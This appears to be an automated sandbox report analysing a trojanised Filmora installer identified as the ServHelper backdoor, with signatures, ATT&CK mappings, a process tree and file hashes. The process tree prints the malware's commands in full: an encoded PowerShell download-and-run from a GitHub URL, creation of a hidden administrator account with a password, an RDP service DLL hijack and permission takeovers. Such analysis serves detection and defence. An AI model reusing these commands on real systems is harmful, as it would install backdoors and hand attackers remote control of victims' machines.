servhelper | 79745c2263c8abe5b916e39e577652c029b5b586e7ccb39ee63ed0fc1568c39d

Analysis

max time kernel
138s
max time network
117s
platform
windows7_x64
resource
win7v20210408
submitted
21-07-2021 08:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Filmora-Wondershare-Installer.exe
Size

9.2MB
MD5

5e12e56a643c71b913ea60f48f28726d
SHA1

8fd9ef3e15b545335c9cf8a16e7d49bdedc7b6fd
SHA256

79745c2263c8abe5b916e39e577652c029b5b586e7ccb39ee63ed0fc1568c39d
SHA512

807888068394b8072d607a83b7a181f5018c21c1efd2b8ae433ac59dc28bfbec23e1b13d8b6a2447a3ff8bb9b7ecd71d4d7bff55903a2d23a60b817142c9bae3

Score

10^/10

servhelper backdoor bootkit discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

12 992 powershell.exe
Executes dropped EXE 4 IoCs

Processes:

ViJoy.exeexe2.exeexe1.exeNFWCHK.exe

pid process

1732 ViJoy.exe
1272 exe2.exe
852 exe1.exe
920 NFWCHK.exe
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

1200 icacls.exe
1404 takeown.exe
300 icacls.exe
1680 icacls.exe
520 icacls.exe
920 icacls.exe
980 icacls.exe
1992 icacls.exe
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

flow	pid	process
12	992	powershell.exe

pid	process
1732	ViJoy.exe
1272	exe2.exe
852	exe1.exe
920	NFWCHK.exe

pid	process
1200	icacls.exe
1404	takeown.exe
300	icacls.exe
1680	icacls.exe
520	icacls.exe
920	icacls.exe
980	icacls.exe
1992	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Deletes itself 1 IoCs

Processes:

powershell.exe

pid process

1788 powershell.exe
Loads dropped DLL 8 IoCs

Processes:

ViJoy.exeexe2.exe

pid process

1732 ViJoy.exe
1732 ViJoy.exe
1732 ViJoy.exe
1272 exe2.exe
988
988
1244
1244
Modifies file permissions 1 TTPs 8 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

980 icacls.exe
1992 icacls.exe
1200 icacls.exe
1404 takeown.exe
300 icacls.exe
1680 icacls.exe
520 icacls.exe
920 icacls.exe
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1067

Processes:

exe2.exe

description ioc process

File opened for modification \??\PhysicalDrive0 exe2.exe
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

pid	process
1732	ViJoy.exe
1732	ViJoy.exe
1732	ViJoy.exe
1272	exe2.exe
988
988
1244
1244

pid	process
980	icacls.exe
1992	icacls.exe
1200	icacls.exe
1404	takeown.exe
300	icacls.exe
1680	icacls.exe
520	icacls.exe
920	icacls.exe

description	ioc	process
File opened for modification	\??\PhysicalDrive0	exe2.exe

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bf8fcc3e-dc38-4e47-8a0a-61c1d7ee1ce1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_22a0fb91-0a7e-4f4f-909a-09a5936fd463	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_71d73dfa-9806-45e4-9d02-d87a461f1446	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d17f9032-1958-4b77-a43f-1d6b10a9fe5c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_725cea96-4475-4aea-81a2-5870b5a272df	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a4ea35f8-9334-45d7-b046-04ba4c113636	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8f611f24-26f4-4bc8-b3bc-34b77e97c702	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4322f20e-7bce-4494-add3-41d75cb9dbe7	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5cc3eecd-98e8-4477-b28f-7de3d0c5fdb0	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8dfe6266-3926-4017-ad19-435b3d0931fd	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ED5RZGXD1520IJSCIS3D.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f3ae5c8a-6eec-4149-bce1-d1a9722caa0e	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

exe2.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main exe2.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	exe2.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

WMIC.exeWMIC.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0258fe81c7ed701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1500 reg.exe
Runs net.exe

pid	process
1500	reg.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1788	powershell.exe
1788	powershell.exe
1680	powershell.exe
1680	powershell.exe
1608	powershell.exe
1608	powershell.exe
1096	powershell.exe
1096	powershell.exe
1788	powershell.exe
1788	powershell.exe
1788	powershell.exe
992	powershell.exe
992	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

Processes:

pid process

460
988
988
988
988

pid	process
460
988
988
988
988

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1788	powershell.exe
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	1608	powershell.exe
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeRestorePrivilege	1680	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	884	WMIC.exe
Token: SeIncreaseQuotaPrivilege	884	WMIC.exe
Token: SeAuditPrivilege	884	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	884	WMIC.exe
Token: SeIncreaseQuotaPrivilege	884	WMIC.exe
Token: SeAuditPrivilege	884	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	964	WMIC.exe
Token: SeAuditPrivilege	964	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	964	WMIC.exe
Token: SeAuditPrivilege	964	WMIC.exe
Token: SeDebugPrivilege	992	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

exe2.exe

pid process

1272 exe2.exe
1272 exe2.exe

pid	process
1272	exe2.exe
1272	exe2.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Filmora-Wondershare-Installer.exeViJoy.exeexe2.exeexe1.exepowershell.execsc.exe

description	pid	process	target process
PID 1640 wrote to memory of 1732	1640	Filmora-Wondershare-Installer.exe	ViJoy.exe
PID 1640 wrote to memory of 1732	1640	Filmora-Wondershare-Installer.exe	ViJoy.exe
PID 1640 wrote to memory of 1732	1640	Filmora-Wondershare-Installer.exe	ViJoy.exe
PID 1640 wrote to memory of 1732	1640	Filmora-Wondershare-Installer.exe	ViJoy.exe
PID 1732 wrote to memory of 1272	1732	ViJoy.exe	exe2.exe
PID 1732 wrote to memory of 1272	1732	ViJoy.exe	exe2.exe
PID 1732 wrote to memory of 1272	1732	ViJoy.exe	exe2.exe
PID 1732 wrote to memory of 1272	1732	ViJoy.exe	exe2.exe
PID 1732 wrote to memory of 1272	1732	ViJoy.exe	exe2.exe
PID 1732 wrote to memory of 1272	1732	ViJoy.exe	exe2.exe
PID 1732 wrote to memory of 1272	1732	ViJoy.exe	exe2.exe
PID 1732 wrote to memory of 852	1732	ViJoy.exe	exe1.exe
PID 1732 wrote to memory of 852	1732	ViJoy.exe	exe1.exe
PID 1732 wrote to memory of 852	1732	ViJoy.exe	exe1.exe
PID 1732 wrote to memory of 852	1732	ViJoy.exe	exe1.exe
PID 1272 wrote to memory of 920	1272	exe2.exe	NFWCHK.exe
PID 1272 wrote to memory of 920	1272	exe2.exe	NFWCHK.exe
PID 1272 wrote to memory of 920	1272	exe2.exe	NFWCHK.exe
PID 1272 wrote to memory of 920	1272	exe2.exe	NFWCHK.exe
PID 852 wrote to memory of 1788	852	exe1.exe	powershell.exe
PID 852 wrote to memory of 1788	852	exe1.exe	powershell.exe
PID 852 wrote to memory of 1788	852	exe1.exe	powershell.exe
PID 1788 wrote to memory of 2008	1788	powershell.exe	csc.exe
PID 1788 wrote to memory of 2008	1788	powershell.exe	csc.exe
PID 1788 wrote to memory of 2008	1788	powershell.exe	csc.exe
PID 2008 wrote to memory of 1196	2008	csc.exe	cvtres.exe
PID 2008 wrote to memory of 1196	2008	csc.exe	cvtres.exe
PID 2008 wrote to memory of 1196	2008	csc.exe	cvtres.exe
PID 1788 wrote to memory of 1680	1788	powershell.exe	powershell.exe
PID 1788 wrote to memory of 1680	1788	powershell.exe	powershell.exe
PID 1788 wrote to memory of 1680	1788	powershell.exe	powershell.exe
PID 1788 wrote to memory of 1608	1788	powershell.exe	powershell.exe
PID 1788 wrote to memory of 1608	1788	powershell.exe	powershell.exe
PID 1788 wrote to memory of 1608	1788	powershell.exe	powershell.exe
PID 1788 wrote to memory of 1096	1788	powershell.exe	powershell.exe
PID 1788 wrote to memory of 1096	1788	powershell.exe	powershell.exe
PID 1788 wrote to memory of 1096	1788	powershell.exe	powershell.exe
PID 1788 wrote to memory of 1404	1788	powershell.exe	takeown.exe
PID 1788 wrote to memory of 1404	1788	powershell.exe	takeown.exe
PID 1788 wrote to memory of 1404	1788	powershell.exe	takeown.exe
PID 1788 wrote to memory of 300	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 300	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 300	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 1680	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 1680	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 1680	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 520	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 520	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 520	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 920	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 920	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 920	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 980	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 980	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 980	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 1992	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 1992	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 1992	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 1200	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 1200	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 1200	1788	powershell.exe	icacls.exe
PID 1788 wrote to memory of 988	1788	powershell.exe	reg.exe
PID 1788 wrote to memory of 988	1788	powershell.exe	reg.exe
PID 1788 wrote to memory of 988	1788	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\Filmora-Wondershare-Installer.exe
"C:\Users\Admin\AppData\Local\Temp\Filmora-Wondershare-Installer.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1640

C:\Users\Admin\AppData\Local\Temp\ViJoy.exe
"C:\Users\Admin\AppData\Local\Temp\ViJoy.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1732

C:\Users\Admin\AppData\Roaming\Templers\exe2.exe
"C:\Users\Admin\AppData\Roaming\Templers\exe2.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1272

C:\Users\Public\Documents\Wondershare\NFWCHK.exe
C:\Users\Public\Documents\Wondershare\NFWCHK.exe
4⤵
- Executes dropped EXE
PID:920

C:\Users\Admin\AppData\Roaming\Templers\exe1.exe
"C:\Users\Admin\AppData\Roaming\Templers\exe1.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
4⤵
- Deletes itself
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1788

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tnk0n035\tnk0n035.cmdline"
5⤵
- Suspicious use of WriteProcessMemory
PID:2008

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6162.tmp" "c:\Users\Admin\AppData\Local\Temp\tnk0n035\CSC9E160A0322BD483483B2C3D605862D6.TMP"
6⤵
PID:1196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1608

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1096

C:\Windows\system32\takeown.exe
"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1404

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:300

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1680

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:520

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:920

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:980

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1992

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1200

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
5⤵
PID:988

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
5⤵
- Modifies registry key
PID:1500

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
5⤵
PID:1904

C:\Windows\system32\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
5⤵
PID:1056

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
6⤵
PID:884

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
5⤵
PID:1596

C:\Windows\system32\cmd.exe
cmd /c net start rdpdr
6⤵
PID:964

C:\Windows\system32\net.exe
net start rdpdr
7⤵
PID:520

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start rdpdr
8⤵
PID:1208

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
5⤵
PID:2008

C:\Windows\system32\cmd.exe
cmd /c net start TermService
6⤵
PID:1784

C:\Windows\system32\net.exe
net start TermService
7⤵
PID:1992

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start TermService
8⤵
PID:816

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
5⤵
PID:2304

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
5⤵
PID:2316

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1432

C:\Windows\system32\net.exe
net.exe user WgaUtilAcc 000000 /del
2⤵
PID:920

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
3⤵
PID:1984

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 8Pu5fM1s /add
1⤵
PID:1596

C:\Windows\system32\net.exe
net.exe user WgaUtilAcc 8Pu5fM1s /add
2⤵
PID:1576

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc 8Pu5fM1s /add
3⤵
PID:1844

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:552

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
2⤵
PID:1904

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
3⤵
PID:520

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:980

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
2⤵
PID:1700

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
3⤵
PID:1640

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1680

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
2⤵
PID:884

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
3⤵
PID:1576

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 8Pu5fM1s
1⤵
PID:1844

C:\Windows\system32\net.exe
net.exe user WgaUtilAcc 8Pu5fM1s
2⤵
PID:1296

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc 8Pu5fM1s
3⤵
PID:1904

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1576

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:884

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:992

C:\Windows\System32\Wbem\WMIC.exe
wmic CPU get NAME
2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:964

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:884

C:\Windows\system32\cmd.exe
cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
2⤵
PID:552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:992

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Bootkit

T1067

Privilege Escalation

Defense Evasion

Modify Registry

T1112

File Permissions Modification

T1222

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_662e467f-d0e0-445a-8230-5c2bdd31dabb
MD5
6f0d509e28be1af95ba237d4f43adab4

SHA1
c665febe79e435843553bee86a6cea731ce6c5e4

SHA256
f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e

SHA512
8dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8944ab66-c5aa-4f2b-8a79-924dce3ed7ea
MD5
2d5cd190b5db0620cd62e3cd6ba1dcd3

SHA1
ff4f229f4fbacccdf11d98c04ba756bda80aac7a

SHA256
ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d

SHA512
edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_97698212-1bf6-42e8-b03c-62794cbda03e
MD5
faa37917b36371249ac9fcf93317bf97

SHA1
a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4

SHA256
b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132

SHA512
614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ad7ad33e-f7c0-433c-bd7a-adb3a181261e
MD5
a70ee38af4bb2b5ed3eeb7cbd1a12fa3

SHA1
81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9

SHA256
dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d

SHA512
8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b07d4ce7-c3df-4004-8573-c930431c7dc8
MD5
7f79b990cb5ed648f9e583fe35527aa7

SHA1
71b177b48c8bd745ef02c2affad79ca222da7c33

SHA256
